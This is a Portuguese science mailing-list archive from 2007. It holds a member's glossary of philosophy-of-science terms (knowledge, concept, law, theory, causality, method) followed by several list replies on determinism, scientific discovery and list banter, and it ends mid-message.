Uma seqüência linear, como a que propomos, não cobre o assunto; freqüentemente há ramificações. Mais complexos são os conceitos que só podem ser introduzidos em bloco mediante grupo de definições implícitas.

ÍNDICE ALFABÉTICO DO ABC

aprender 1
argumentação 27
astronomia 50

causalidade 31, 44, 45
causalidade estrita 31, 44, 45
causalidade probabilística 31, 44, 45
ciência 32, 39, 40, 41, 42
ciência exata 49, 51
ciência experimental 48
ciências fÍsicas 54
ciências físicas básicas 55
ciências formais 47
classificação das ciências 39
coerência extrÍnseca 60, 62
coerência intrínseca 60, 61
compreensão 17
conceito 16
conceito derivado 20
conceito primitivo 19
conceituação 16
concepção 4
conhecimento 11
conhecimento científico 13
conhecimento físico 14
conhecimento vulgar 12
convergência mental 47

dedução 34
definição nominal 22
definição real 21
demonstração experimental 30
demonstração racional 29
desenvolvimento da ciência 41
descrição 7

economia 70
energia 52
entender 72
estado 53
estrutura 15, 32
etapas do conhecimento físico 14
etapas na pesquisa científica 73
evento 53
existência 5
experimentação 51, 62
explicar 71
extensão 18

fato bruto 9
fato cientifico8, 51
fato composto 10
fenômeno6
filosofia das ciências 42
finalidades da ciência 40
física 55, 56
fontes das ciências experimentais 57


grandeza física 65
hipótese 63

idéias 3
independência 60
indução 55
intuição 2
juízo 24
lei 63
lei básica 65
lei experimental 44, 65, 66, 68
lei física 65
lei matemática 64
lei racional 43, 60, 65
lógica 28, 37, 43, 47, 61

macrofísica 31, 57
método 33
metodologia 36
microfisica 31, 58
modelo abstrato 14, 73
motivação72


necessidade causal 44, 52
necessidade formal ou lógica 43, 52

observação 50

percepção intelectual 2, 37
percepção sensorial 2, 37
pesquisa cientÍfica38
postulado 60, 67
princípio 60,65,67, 68
probabilidade 31 46
processo 52
proposição 25 60

química 55

raciocÍnio 26
realidade 5, 16
realidade sensível 54

síntese73

teorema 60, 65, 68
teoria 69
termo 23
teste73
transformação 52

uniformidade da natureza 31, 32, 37

verdade 16, 47, 48, 65
verdade formal 47
verdade objetiva 48

<=========>


1 - Aprender - superar insucesso, com resultado permanente. Encarado como desafio, o aprendizado compara-se a um emocionante esporte.

2 -Intuição - conhecimento imediato, podendo ser sensível ou intelectual. São exemplos: (a) As rosas são vermelhas (percepção sensorial de cor); (b) Ponto, reta e plano são entes geométricos (percepção intelectual sem raciocínio).
Cuidado: nossos sentidos podem iludir-nos! nosso intelecto pode enganar-nos!

3 -Idéia - imagem mental de uma coisa, representação dessa coisa na mente de um individuo. Se for só individual, não tem valor científico. Exemplo: Sua idéia das cores coincide com a de um colega?

4 - Concepção - idéia, ou conjunto de idéias mais ou menos vago. Forma embrionária de conceito. Exemplo: Julio Verne expôs concepções fantásticas.

5 - Existência, realidade - qualidade do que existe, do que é real; o termo encontra duas acepções: (a) Em geral entende-se por real (concreto, tangível), o oposto de ideal (abstrato, pensado). (b) Em ciência experimental entende-se por real tudo o que é concreto e também, no mundo das idéias, tudo o que é útil.
Num laboratório de física os aparelhos são concretos (dinamômetro, pilha, calorímetro etc.), ao passo que os entes físicos, mediante os quais se descrevem os processos físicos, são abstratos (comprimento, tempo, massa, força, energia, rendimento etc.). Uma vez que estes entes, embora abstratos, são úteis para descrever, classificar, prever manifestações tangíveis da matéria, eles são ditos reais.
Em Física (Ciência) só se admitem entes abstratos que sejam reais, e para isso eles devem exibir duas características imprescindíveis: significado físico, e possibilidade de medição. Entes abstratos inúteis para a ciência são considerados irreais; tais são, por exemplo, as "esferas de cristal" de Aristóteles, os "miasmas" da Idade Media, o "éter universal" do século 19.
Concepções com realidade duvidosa precisam ser marginalizadas enquanto não evoluírem para conceitos de comprovada utilidade; é exemplo a "percepção extra-sensorial - PES", que esta sendo investigada. Há dezenas de outros exemplos de concepções com realidade duvidosa em situações piores que a PES, são as denominadas pseudociências.

6 - Fenômeno - tudo o que se percebe pelos sentidos (fenômeno externo) ou pela consciência (fenômeno interno). São exemplos: escala métrica, comprimento, arco-íris, dilatação, aprendizado, motivação.

7 - Descrição - enunciação das características de um objeto, ou de um processo; afirmação concisa do comportamento da natureza em certo grupo de fenômenos.

8 - Fato cientifico - tudo o que através de nossos sentidos e da interpretação inteligente, à luz dos conhecimentos atuais, tem ou parece ter existência científica (podendo ser concreto ou abstrato, cf. 5). É suscetível de constatação irrefutável no estado atual da ciência.

9 -Fato científico bruto ou simples - mera constatação ("a pedra cai"). Enquanto não houver ilusão dos sentidos, o fato simples é irretorquível. As teorias evoluem, os fatos simples perduram.

10 - Fato cientifico interpretado ou composto - enriquecido com elementos de teoria (cf. 69) ("a pedra cai devido à gravidade"). À medida que uma teoria evolui ou quando ela é substituída por outra teoria o fato composto pode transformar-se. O fato composto é evolutivo.

11 - Conhecimento - conjunto das relações conscientes entre idéias e os respectivos objetos (sejam eles concretos ou abstratos), formuladas mediante juízos subordinados à lógica. O conhecimento pode ser vulgar ou cientifico.

12 - Conhecimento vulgar - é individual; compõe-se de percepções, de imagens e de recordações. É através dos sentidos que nos pomos em contato com o mundo físico; do conhecimento vulgar assim adquirido é que, por elaboração mental, surge o conhecimento cientifico.

13 - Conhecimento científico - através de investigação metódica, escrupulosa e rigorosa, suprime tudo o que há de individual e particular no conhecimento vulgar; recolhe os elementos comuns a uns tantos intelectos e que poderiam ser comuns a todos os intelectos. É fato objetivo e sociológico; conhecimento coletivo, obra humana, social.
Resulta de constatar fatos e raciocinar sobre eles visando à descoberta de relações invariáveis entre eles (leis da natureza).

14 - Etapas do conhecimento físico (cf. 37) - compreende:
(a) Ensaios experimentais, visando aos fatores essenciais do fenômeno em estudo.
(b) Abstração dos elementos julgados acessórios, conduzindo à concepção de um modelo abstrato do fenômeno em estudo.
(c) Idéias, conceitos, considerados úteis para a elaboração de juízos.
(d) Princípios, fundamentos da estrutura lógica da teoria que se vislumbra.
(e) abstração ulterior, consistindo em corrigir os conceitos visando a mais perfeita coerência lógica (coerência intrínseca) e fatual (coerência extrínseca, isto é, com os fatos).
(f) Limitação da validez dos princípios em particular, da teoria em geral.
(g) Pesquisa racional de todas as conseqüências da teoria, em busca de fatos não suspeitados.

15 - Estrutura - conjunto das relações entre os elementos de um todo. Estrutura pode ser lógica, matemática, física etc. conforme a natureza dos objetos em estudo, e das relações que se investigam. Em cada ciência, a questão básica é: Quais são os entes que intervêm, e como se ligam uns a outros?

16 - Conceito - síntese das características comuns a diversas idéias, estruturada de modo igual em todas as mentes. Unidade de pensamento representada por um termo oral ou escrito (símbolo). A gênese de um conceito é processo de abstração e generalização. A inteligência humana possui faculdade abstrativas: afasta as qualidades que diferenciam os objetos, retém as qualidades que os unem (reforço!). Daí surge a idéia universal, que é o conceito. Durante a evolução da ciência, os conceitos evoluem também. O próprio conceito de verdade evoluiu: a verdade filosófico-científica tradicional perdeu significado; em física subsiste a verdade tal como ela se manifesta nas relações entre grandezas (cf. 47, 48, 65).
Um ente é considerado real ou verdadeiro quando ele é útil, isto é, quando ele serve para classificar, descrever, predizer fenômenos. Todo conceito científico deve ser instrumento eficaz para as finalidades supra.
O processo de formação de um conceito chama-se conceituação. Em qualquer ciência, a unidade estrutural é o conceito. Dai a extrema cautela com que os cientistas, cada um em seu setor, investigam escrupulosamente a natureza intelectual e a adequação fatual dos conceitos, sejam eles tradicionais ou modernos.

17 - Compreensão de um conceito - conjunto estruturado dos elementos necessários e suficientes para o determinarem univocamente. Exemplo: Velocidade é percurso por unidade de tempo. Os elementos, ingredientes do conceito, são percurso (comprimento), e tempo (duração); a relação estrutural consiste na divisão daquele por este (quociente).

18 - Extensão de um conceito - conjunto dos entes aos quais ele se aplica, que ele designa. Exemplo: O conceito de velocidade se estende a bala de fuzil, ou de canhão, a avião, a espaçonave, ou a elétron em vídeo de televisão; o referencial pode ser fixo na Terra, ou nas galáxias.

19 - Conceito primitivo - o que se se estabelece por intuição, tornando-se preciso por comparação, distinção, exemplificação, vivência; nasce diretamente do conhecimento das coisas por meio dos sentidos (intuição, cf. 2). É o elemento primordial na formação de conceitos derivados. Exemplo: Como adquiriu você o conceito de "cor"?

20 - Conceito derivado - o que pode ser reduzido, mediante juízos, a uma associação de dois ou mais conceitos primitivos. É o elemento essencial no raciocínio científico amadurecido ou em vias de amadurecimento, do qual ele participa como unidade pré-estruturada. Exemplo: Trabalho é produto de percurso, por força na direção do percurso.

21 - Definição real - exposição sumária da compreensão de um conceito. Caracteriza o ente a ser definido, distinguindo-o inequivocamente de todos os entes diferentes. Ao ente definido associa-se um termo. Exemplo: Aceleração é ganho de velocidade por unidade de tempo.
Em ciência, surge freqüentemente a necessidade de demonstrar que o ente definido existe (coerência intrínseca e extrínseca).

22 - Definição nominal - associação bi-.unívoca entre um conceito primitivo e o termo que lhe é atribuído. Exemplos: (a) O conceito de cor é primitivo; presenciada uma cor, damos-lhe um nome (azul, verde, amarelo, vermelho etc.). (b) Da sucessão de eventos surge a idéia de tempo, que geralmente se admite como conceito primitivo, adquirido através da vivência de acontecimentos.

23 - Termo - símbolo oral ou escrito de uma idéia ou de um conceito; o termo evoca a idéia ou o conceito

24 - Juízo - afirma ou nega alguma coisa sobre alguma coisa; consciência da relação entre conceitos. Juízo é o conteúdo intelectual da proposição.

25 - Proposição - enunciado de um juízo; símbolo oral ou escrito de um juízo. Definições e leis são proposições. Exemplo: Quando o Sol nasce, clareia o dia.

26 - Raciocínio - atividade pensante na elaboração e no encadeamento de juízos. relação mental entre juízos; processo mental pelo qual de um ou mais juízos se obtém outro juízo por necessidade lógica (cf. 45, 52). Raciocínio é o conteúdo da argumentação. Exemplo: Corpo só pode ser acelerado por efeito de força. O carro está acelerando. Portanto o carro esta sujeito a força.

27 - Argumentação - expressão oral ou escrita de um raciocínio,

28 - Lógica - atividade pensante, no que diz respeito aos produtos da mesma; estudo da estrutura do juízo e do raciocínio. Para as ciências experimentais, a lógica é necessária mas não suficiente! Nelas, as informações primeiras são obtidas por observação e experimentação; os fatos colhidos são a matéria prima que virá a ser elaborada mediante lógica (teoria científica; cf. 69).
Einstein: Para conhecer-se o mundo empírico, lógica não basta!

29 - Demonstração racional - legitimação lógica de uma proposição; faz-se mediante raciocínio.

30 - Demonstração experimental - exibição de fenômeno objetivo que evidencia a realidade de uma proposição (definição, ou lei cientifica).

31 - Uniformidade da natureza - Exprime-se pela Lei de Causa e Efeito (cf. 45). Os elementos que participam dos fenômenos estão subordinados a certas relações recíprocas, que enunciamos como leis da natureza. O comportamento da natureza é regular ou seja, é regulamentado pelas leis: certo sistema, em certas condições, exibe certa evolução; reproduzindo-se o sistema nas mesmas condições, repete-se o mesmo processo evolutivo, é o que exprime a Lei de Causalidade.
Realmente não se pode garantir a reprodução exata do sistema e das condições iniciais; a causalidade estrita da lugar a causalidade probabilística; pode-se estimar a probabilidade com que o sistema exibirá tal ou qual modalidade de evolução. A realidade concreta em macrofísica compara-se a modelos ideais simples, nos quais se verifica a causalidade estrita (Exemplo: Mecânica terrestre, mecânica celeste). A realidade concreta em microfisica compara-se a modelos ideais mais complexos, aos quais se aplica com sucesso a causalidade probabilística (Exemplo: mecânica estatística, como na Teoria Cinética dos Gases) (cf. 45).

32 - Ciência - como um todo, é conhecimento organizado (isto é, ordenado e estruturado). Cada ciência particular é, em seu setor, a totalidade dos conhecimentos ordenados e relacionados uns com os outros segundo critérios coerentes e geralmente aceitos. A ciência pressupõe regularidade na natureza, isto é, relação recíproca e invariável dos elementos que participam dos fenômenos (lógica; causalidade ou determinismo; probabilidade); por isso toda ciência se compõe de conhecimentos fundamentados (o que não significa que sejam imutáveis) e que permitem previsões.
ciência tem estrutura, e nisso ela se distingue essencialmente de mera soma de informações, amontoado de fatos, mesmo que sejam ordenados. A estrutura decorre da uniformidade da natureza (cf. 31).

33 - Método - seqüência de operações realizadas pelo intelecto, para atingir certo resultado; trajeto intelectual; modo sistemático, ordenado, de pensar e investigar; conjunto de procedimentos que permitem alcançar a verdade científica. Os métodos fundamentais são dedução e indução.

34 - Dedução - a partir de proposições gerais, demonstrar conclusões particulares. Exemplo: Das leis da semelhança de triângulos deduz-se o Teorema de Pitágoras.

35 - Indução - a partir de fatos particulares, alcançar proposições gerais. Os fatos particulares são obtidos
por observação e/ou experimentação. Exemplo: De 24 em 24 horas, o Sol sempre nasceu (fatos particulares); portanto, de 24 em 24 horas, o Sol sempre nascerá (proposição geral).
Toda indução encerra o risco de conduzir a erro,

36 - Metodologia - conjunto dos métodos que cada ciência particular põe em ação. A colaboração entre demonstração lógica e experimentação, a inter-ação entre ciência pura e tecnologia, são caracteres do espírito científico contemporâneo. Em Ciência Experimental a metodologia compreende as seguintes fases:

a) Delimitação do problema a ser investigado.
h) Ensaios prévios para revelarem fatos essenciais.
o) Criação de conceitos adequados.
d) Estabelecimento de hipóteses, quando necessário.
e) Estabelecimento de princípios, quando necessário.
f) Dedução de leis racionais (teoremas).
g) Verificação das conclusões mediante confronto com fatos experimentais,
h) Previsão de fatos ate então ignorados, e verificação experimental dos mesmos.
i) Revisão da teoria, adaptação e complementação da mesma - ou substituição por outra.

37 - Fontes das ciências experimentais (cf.14):

a) Faculdade intelectual do Homem: intuição e lógica (percepção sensorial e intelectual das coisas) (cf. 28).
b) Matemática: meio de expressão de leis quantitativas, e ferramenta para elaboração de leis,.
c) Uniformidade da natureza: nas mesmas condições, acontecem outra vez as mesmas coisas (cf,31).
d) observação e experimentação: meios para obter fatos

38 - Pesquisa científica - atividade criadora, complexa, e que por isso não se enquadra em moldes rígidos. Tem por finalidade descrever, elucidar, explicar, prever, condicionar os processos de seu âmbito (cf.72). - Um lampejo de percepção é atalho que pode promover a ciência muito mais do que fatigantes estudos e laboriosos ensaios experimentais. A pesquisa científica em alto nível exige qualidades altamente desenvolvidas: inteligência lúcida, imaginação fértil, disciplina mental, espírito de observação, persistência, paciência, ousadia, honestidade (cf. 73).

39 - Classificação das ciências - há divergências fundamentais entre os autores; propomos o esquema a seguir. Enfatizamos as caracterÍsticas dos diversos grupos de ciências, mas em muitos casos não existe delimitação precisa.

Classificação das Ciências
Objetivo Relação entre os elementos Assuntos
Ciências Puras ou Teóricas
(saber pelo saber).
Ciência por essência Ciência Geral
(proposições universais) Filosofia (analisar, criticar sintetizar).
Metafísica, epistemologia, cosmologia,
estética, ética etc.
Ciências Formais ou Ideais
(necessidade formal) Lógica e Matemática (ligar relacionar).
Ciências Experimentais,
Empíricas ou Reais
(necessidade causal) Ciências Naturais ou Cosmológicas
(descrever e explicar). ciências Físicas
(física, química, astronomia etc.)
e ciências biológicas (biologia, botânica, zoologia, citologia, fisiologia etc.)
Ciências Culturais ou Humanas
(historiar, sistematizar, interpretar)
Lingüística, etnologia, historia, sociologia etc.),
Ciências Aplicadas ou
Ciências Práticas
(como fazer as coisas).
Ciências por analogia Tecnologia
(aplicação pratica, processos de realizações). Ramos da Engenharia e da Medicina.

40 - Finalidades da ciência - práticas (previsão, planejando ação); teóricas (satisfação da curiosidade: como? por quê?

41 - Desenvolvimento da ciência - Atividade científica é tentativa para alcançar conhecimento objetivo e coletivo, sem influencia de preconceitos ou tendências pessoais. Os frutos de tais esforços são cumulativos na sucessão das gerações; por isso o conhecimento científico é cada vez mais extenso e mais exato.

42 - Filosofia das ciências - em bases amplas, interpreta os resultados da ciência e pesquisa elos do ligação entre ramos de ciência.

43 - Necessidade formal ou lógica - subordinação às leis da lógica; tem fundamento na Razão Suficiente. Rege as leis racionais (teoremas).

44 - Necessidade causal - subordinação à Lei de Causalidade (seja ela estrita, ou probabilística). Rege as leis experimentais.

45 - Causalidade ou determinismo (cf. 31) - dependência de um evento em relação a outro, segunda o Principio de Causa e Efeito; inter-relação invariável entre causa e efeito; dai, possibilidade de previsão. dependência inelutável de um evento em relação a outro. Exemplo: dando no gatilho, dispara-se um tiro.
Ao lado da causalidade estrita a natureza exibe também a causalidade probabilística (o mesmo atirador, com a mesma arma e a mesma munição, atirando no mesmo alvo à mesma distancia, não acerta todos os tiros no mesmo ponto; há uma probabilidade de ele fazer uns tantos pontos com uns tantos tiros).
Sem causalidade, não haveria sentido em pesquisar ciência.

46 - Probabilidade - dependência estatística, probabilística. Também permite previsão (cf. 31)

47 - Verdade subjetiva ou formal - legitimidade lógica, isto é, de acordo com as leis da lógica. Coerência formal da estrutura lógica. Característica das afirmações que produzem ou produzirão o acordo de todos os intelectos, isto é, o consenso geral, a convergência mental. É a verdade nas ciências formais.

48 - Verdade objetiva - correspondência com objetos reais (sejam eles concretos ou abstratos; cf. 5); adequação à realidade. É a verdade nas ciências experimentais; nestas, as verdades formais só o são aparentemente, pais elas são tão fortes e tão fracas como as bases em que elas assentam.

49 - Ciências exatas - as que habitualmente demandam a medição dos entes que lhe interessam. matemática e física são ciências exatas. Nas ciências não-exatas, há uma louvável tendência de evolução para o status de ciência-exata.

50 - Observação - constatação de fenômeno (sem influencia-lo, se possível); anotar suas características essenciais; em ciência exata, medir as grandezas relevantes. Astronomia é ciência de observação.

51 - Experimentação - intervenção do pesquisador no desenrolar dos processos. Produção artificial ou provocada de um processo; modificação intencional das condições, para observar as mudanças daí decorrentes no processo subseqüente; em ciência exata, medir as grandezas relevantes.
Experimentar é inquirir a natureza, "dialogar" com a natureza; descobrir os fatos científicos e as leis que os regem; verificar as leis já estabelecidas ou em vias de estabelecimento. Ciência experimental visa a descobrir como realmente acontecem as coisas, e não como deveriam acontecer segundo nossas concepções; a natureza não copia os livros e, muito menos, atende a nossos desejos imediatos. Física é ciência experimental. - Correntemente, não se faz distinção entre "observação" e "experimentação"; em ambas considera-se implícita a medição das grandezas consideradas relevantes: física é ciência exata.

52 - Processo - marcha, desenvolvimento de transformações; sucessão de estados interligados por necessidade lógica, ou por necessidade causal. Em ciência física, toda verdadeira transformação implica em conversão ou intercambio de energia; reciprocamente, pode-se entender energia como o agente eficaz nas transformações físicas.

53 - Evento - cada estado que ocorre em um processo. Estado de um sistema é o conjunto das grandezas físicas que se medem ou que se poderiam medir no sistema, seja direta-, ou indiretamente (Exemplo: estado cinemático inclui data, lugar, velocidade, aceleração, centro de curvatura etc.).

54 - Ciências físicas - Ciências da realidade sensível, estudando as manifestações da matéria bruta.

55 - Ciências físicas básicas - estudam aspectos gerais de quaisquer fenômenos exibidos pela matéria bruta; são elas a física e a química.

56 - Física - cf.55, dando ênfase às modalidades de energia.

57 - Macrofísica - estuda o comportamento global de multidão de moléculas

58 - Microfísica - estuda o comportamento individual ou médio das moléculas, e dos átomos, ou o das partículas elementares.

59 - Química - cf. 55, dando ênfase às modalidades de matéria. Tradicionalmente a química só estuda as transformações ligadas a elétrons periféricos da coroa atômica; modernamente criou-se também a "química nuclear".

60 - Postulado - Proposição cuja validez se aceita sem demonstração. Em física, postulados e leis experimentais formam em conjunto o fundamento racional de outras proposições (teoremas, leis racionais). Postulado também é chamado principio. Em cada setor de ciência, o numero de postulados deve ser mínimo, isto é, o suficiente e não mais do que o estritamente necessário. Condições: independência e coerência intrínseca, nas ciências formais; independência, coerência intrínseca e coerência extrínseca, nas ciências experimentais.

61 - Coerência intrínseca - coerência subjetiva, formal lógica; verifica-se mediante analise critica, a luz das leis da lógica.

62 - coerência extrínseca - coerência objetiva, fatual, isto é, com os fatos da natureza; verifica-se mediante ensaios experimentais.

63 - Hipótese, em ciência experimental - proposição provisória, forma conjetural de uma lei presumível, visando a descrever cientificamente fatos de experiência; se confirmada, ela se converte em lei (podendo vir a ser derrubada em vista de novos conhecimentos).

64 - Lei matemática - relação funcional invariável entre números.

65 - Lei física - relação invariável entre qualidades e/ou quantidades nos fenômenos físicos. Descrição sumaria, simbólica, de um fenômeno ou processo. Descrição exata da interdependência entre fatos científicos, em campo limitado de fenômenos. Não explica, só constata, portanto descreve.
Sempre que possível, é representada mediante relação matemática entre símbolos que representam grandezas físicas. Grandeza física tem significado físico, número de medida e unidade de medida. Toda grandeza física é concebida como resultado de operações bem definidas (medições), em laboratório.
A verdade científica geral se exprime em leis. As leis fÍsicas são de três modalidades: leis básicas ou princípios; leis experimentais ou leis empíricas; leis racionais ou teoremas.

66 - Lei experimental - expressão de uma correlação invariável entre fatos observados nos fenômenos, oriunda de observação e/ou experimentação, e não suscetível de generalização ampla. (Exemplos: Lei de Boyle-Mariotte, Lei de Ohm, Lei da condução do calor). Também é chamada lei empírica.

67- . Principio - Em física, é lei sugerida pelos fatos experimentais, confirmada por eles direta ou indiretamente em certo campo de fenômenos, mas não demonstrável racionalmente; é aplicável a um universo de fenômenos imensamente mais amplo do que o das confirmações experimentais.
Essa generalização ousada e bem sucedida é característica essencial de todo principio (Em filosofia e nas ciências formais, é principio toda proposição de base, também chamada postulado).

68 - Teorema - proposição demonstrada racionalmente a partir de princípios e/ou leis experimentais.

69 - Teoria - conjunto completo e logicamente estruturado das leis referentes a um setor de conhecimento. Tentativa de unificar conhecimentos esparsos; nasce vaga, e vai se consolidando gradativamente à medida que encontra apoio cada vez mais amplo em fatos científicos.
Em linguagem vulgar, teoria é algo duvidoso, conjetural, falho de fundamento sólido, Em ciência experimental, teoria é algo muito sólido por ser alicerçada em fatos da natureza. Todavia, toda teoria é perecível; nenhuma teoria é definitiva.
O teste crucial da teoria é seu confronto com a realidade objetiva; ele pode confirmar a teoria, ou pode invalidar parte dela, ou toda ela. Quando uma teoria falha no confronto com os fenômenos observados, é a teoria que cede; os fatos simples persistem, mas os fatos compostos precisam ser expurgados das falhas que a teoria moribunda lhes confere. Inicia-se a busca de nova teoria mais satisfatória. (Einstein: Cem fatos em acordo com a Teoria da Relatividade não a demonstram definitivamente; basta porém um só fato em desacordo com ela para invalidá-la). Os critérios de valor de uma teoria são a simplicidade, a utilidade, o alcance, a fecundidade.

70 - Economia - De ponto de vista prático, a importância das teorias está em sua economia. Ensaios experimentais podem tornar-se aparatosos delicados e demorados, e então são extremamente custosos. Dentro das teorias vigentes tais ensaios são dispensáveis, pois a teoria oferece todos os elementos para obterem-se os mesmos resultados a custo ínfimo. A teoria orienta o esforço humano em direção ao fim visado. O gabinete de projetos de qualquer engenheiro dá correntemente exemplos do dito.
Em engenharia, ensaios experimentais só se fazem quando a teoria não conduz aos elementos requeridos, ou os oferece com insegurança; é o caso de aeronaves, cujos modelos são testados em túnel aerodinâmico. Teoria comprovada conduz um médico rapidamente a conclusões valiosas sobre anatomia e/ou fisiologia, indicando o rumo certo para as providencias mais úteis ao seu cliente.

71- Explicar um fato - Demonstrar a coerência entre o fato e uma lei ou teoria; demonstrar logicamente que o mencionado fato é conseqüência da lei ou teoria. Na teoria em que ele se enquadra, fenômeno explicado considera-se elucidado, compreendido, entendido e justificado (!).
Explicar é ordenar, identificar o fenômeno em estudo com outro já conhecido; pesquisar os elementos idênticos escondidos sob a aparente diversidade dos fenômenos; assimilar.

72- Entender a natureza - fundamentar os fenômenos em leis agrupadas em teorias. Os fatos particulares se enquadram em um esquema amplo. A consciência disso nos liberta das superstições, amplia nosso poder de condicionar os eventos do modo que nos convém, nos dá segurança. Perceber a ordem reinante na natureza nos dá grande prazer intelectual. A aspiração a essa recompensa é a mais forte motivação do verdadeiro estudioso. Nas profissões intelectuais a recompensa material é necessária e deve ser condigna, mas não deixa de ser um sub-produto de uma atividade complexa que em troca de esforço pleno do profissional lhe dá a sensação de auto-realização fecunda.

73- Etapas na pesquisa científica - não há normas; citamos:

a) Delimitação do problema - escolha de um grupo particular de fenômenos para exame, de cada vez.

b) Coleta de dados - observação dos fatores considerados essenciais, modificação de um ou algum deles, se possível; medição, sempre que possível.

c) Exploração dos dados - disposição sistemática dos resultados (tabelas, gráficos); retenção dos elementos considerados essenciais, supressão dos elementos considerados acessórios; concepção de um modelo abstrato; pesquisa da eventual correlação entre grandezas; se houver tal correlação, enuncia-la como lei experimental; eventual generalização, inicialmente sob forma de hipótese, pode consubstanciar-se em lei científica. Dentre hipóteses diversas selecionar, mediante ensaios cruciais, a mais apta para explicar fatos já conhecidos, ou a mais promissora em vista de fatos conjeturados.

d) Síntese - incorporação da lei em teoria abarcando a maior variedade possível de fenômenos; os que se enquadram na teoria constituem um setor de ciência.

e) Deduções da teoria - elaboração racional de todas as suas conseqüências, sugerindo novas observações.

f) Teste da teoria - Confrontar os resultados deduzidos da teoria com os correspondentes fenômenos, se existirem.




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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 10:16

Já fiz um acréscimo no item 5:
[ ... ]
Entes abstratos inúteis para a ciência são considerados irreais; tais são, por exemplo, as "esferas de cristal" de Aristóteles, os "miasmas" da Idade Media, o "éter universal" do século 19, entes estes postos num momento em que a humanidade, no afã de saber, não dispunha ainda de meios suficientes. A força da ciência está justamente em ser capaz de esperar e, enquanto espera, renunciar a toda 'certeza' prematura.
[ ... ]
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 16 de maio de 2007 09:32
Assunto: [ciencialist] ABC da CIENCIA



5 - Existência, realidade - qualidade do que existe, do que é real; o termo encontra duas acepções: (a) Em geral entende-se por real (concreto, tangível), o oposto de ideal (abstrato, pensado). (b) Em ciência experimental entende-se por real tudo o que é concreto e também, no mundo das idéias, tudo o que é útil.
Num laboratório de física os aparelhos são concretos (dinamômetro, pilha, calorímetro etc.), ao passo que os entes físicos, mediante os quais se descrevem os processos físicos, são abstratos (comprimento, tempo, massa, força, energia, rendimento etc.). Uma vez que estes entes, embora abstratos, são úteis para descrever, classificar, prever manifestações tangíveis da matéria, eles são ditos reais.
Em Física (Ciência) só se admitem entes abstratos que sejam reais, e para isso eles devem exibir duas características imprescindíveis: significado físico, e possibilidade de medição. Entes abstratos inúteis para a ciência são considerados irreais; tais são, por exemplo, as "esferas de cristal" de Aristóteles, os "miasmas" da Idade Media, o "éter universal" do século 19.
[aqui o acréscimo]
Concepções com realidade duvidosa precisam ser marginalizadas enquanto não evoluírem para conceitos de comprovada utilidade; é exemplo a "percepção extra-sensorial - PES", que esta sendo investigada. Há dezenas de outros exemplos de concepções com realidade duvidosa em situações piores que a PES, são as denominadas pseudociências.

[ ... ]


SUBJECT: Re: [ciencialist] P/ Takata - Re: Determinismo e incerteza
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 10:53



--- rmtakata <roberto.takata@bol.com.br> escreveu:
> > 3 - O que é efeito inteligente ?
> Depende.

Depende de que???
Eu iria dar a sugestão de algo nao aleatorio mas
depois
da reportagem das moscas fiquei em dúvida.

> > 2 - Um efeito inteligente implica numa causa
> > inteligente ?
> Depende.

Idem.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Takata na rede... Será?
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 10:55

Takata,

Este na foto do link abaixo é vc?

http://galileu.globo.com/edic/116/imagens/rep_tendencias_f.jpg

Abrs

Sardeiro





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Determinismo e incerteza
FROM: "jeffersonpascon" <jeff@jeff.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 11:07

> > >
> >
> > Creio que faltem mentes brilhantes hoje em dia.
>
> Creio que elas nunca faltaram.
>

Talvez faltem no lugar certo!

>
> Questionar você pode, mas não espere concordância. Ninguém disse que
> você não pode questionar, mas ninguém precisa concordar com seu
> questionamento. Certo?
>

Claro que não espero concordância. E claro que eu acredito que eu
estou errado, pois é algo que persiste há várias décadas com muita
gente pensando em cima. Estou questionando para tentar entender, pra
ver se alguém me dá uma luz, como o Takata tá tentando. Eu não vejo
esta lista como um jogo de quem sabe mais, mas como um laboratório
científico. Eu não penso que se você não responder a minha pergunta,
significa que eu "ganhei" o jogo, mas que você também pode ter as
mesmas dúvidas. No máximo, posso ter mostrado uma quadra de ases!!
hahaha :-)

>
> Nada na ciência é aceito sem questionamento. Milhares de mentes já
> questionaram o princípio da incerteza, já proporam alternativas e
> fizeram críticas a respeito. Se o princípio sobrevive é porque
passou
> em todos os testes até agora. E é esse justamente o ponto!
>

Mas eu não tenho medo de perguntar a falar o que eu acho. É assim que
eu aprendo! Como já disse, não acho que a lista é um jogo onde eu
tenha que ter tanta cautela para não "perder". Tenho sim que ter
respeito aos co-listeiros e, principelamente, à ciência.

[]´,s
Jeff.



SUBJECT: RES: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 11:07

Léo: (O público em geral costuma dar um valor demasiadamente baixo às
conquistas teóricas que servem de base a uma criação inventiva coroada de
êxito. O próprio Watt, quando desenvolveu a sua máquina a vapor, foi guiado
pelas pesquisas de Black sobre o calor latente. No entanto, quantas pessoas,
conhecendo a invenção de Watt, percebem que ela só foi possibilitada pelo
alicerce criado pela teoria de Black?)



Victor: Pois é. Num dado momento, um iluminado descortina o palco, mostrando
novos conhecimentos e novas maneiras de tratar tal o qual fenômeno. E,
geralmente, é o último nome que fica. No entanto, um retrospectro
histórico-científico mostra, quase sem exceção, que aquele novo
conhecimento, agora devidamente aclarado, já circulava nos meios
científicos, sem que se percebessem suas verdades essenciais, seja pelos
breques dos preconceitos, seja por falta de conhecimento mesmo, mais por
aqueles do que por este. É como numa partida de xadrez. As peças estão ali ,
prontas para dar o bote no rei. O jogador olha, olha, pensa, pensa e não
percebe a “obviedade” de certo movimento. Dá outra jogada, até mais
